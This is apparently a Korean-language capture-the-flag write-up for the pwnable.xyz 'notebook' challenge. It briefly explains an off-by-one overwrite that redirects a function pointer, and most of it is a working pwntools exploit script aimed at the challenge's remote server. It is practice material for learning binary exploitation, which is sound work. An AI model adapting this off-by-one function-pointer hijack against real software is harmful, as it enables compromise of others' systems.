[pwnable.xyz]notebook
off-by-one 취약점 터져서 ptr 1바이트를 덮을 수 있어서 함수포인터 위치를 바꿀 수 있다. 그래서 title 입력할 때 win함수 주소를 넣어주고 rename으로 off-by-one 취약점을 이용해 win함수를 가르키게 바꿔주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30035)
libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
win = e.symbols['win']
nbook = 0x0000000000602280
ptr = 0x0000000000602300
def make(size,title,note):
sla('>','1')
sla(':',str(size))
sla(':',title)
sla(':',note)
def edit(note):
sla('>','2')
sa(':',note)
def delete():
sla('>','3')
def rename(name):
sla('>','4')
sa(':',name)
sla(':','A'*4)
make(32,p32(win)+'\x00'*4,'B')
rename('A'*127+'\x1c') # off-by-one
sla('>','2') # function ptr -> execute
p.interactive()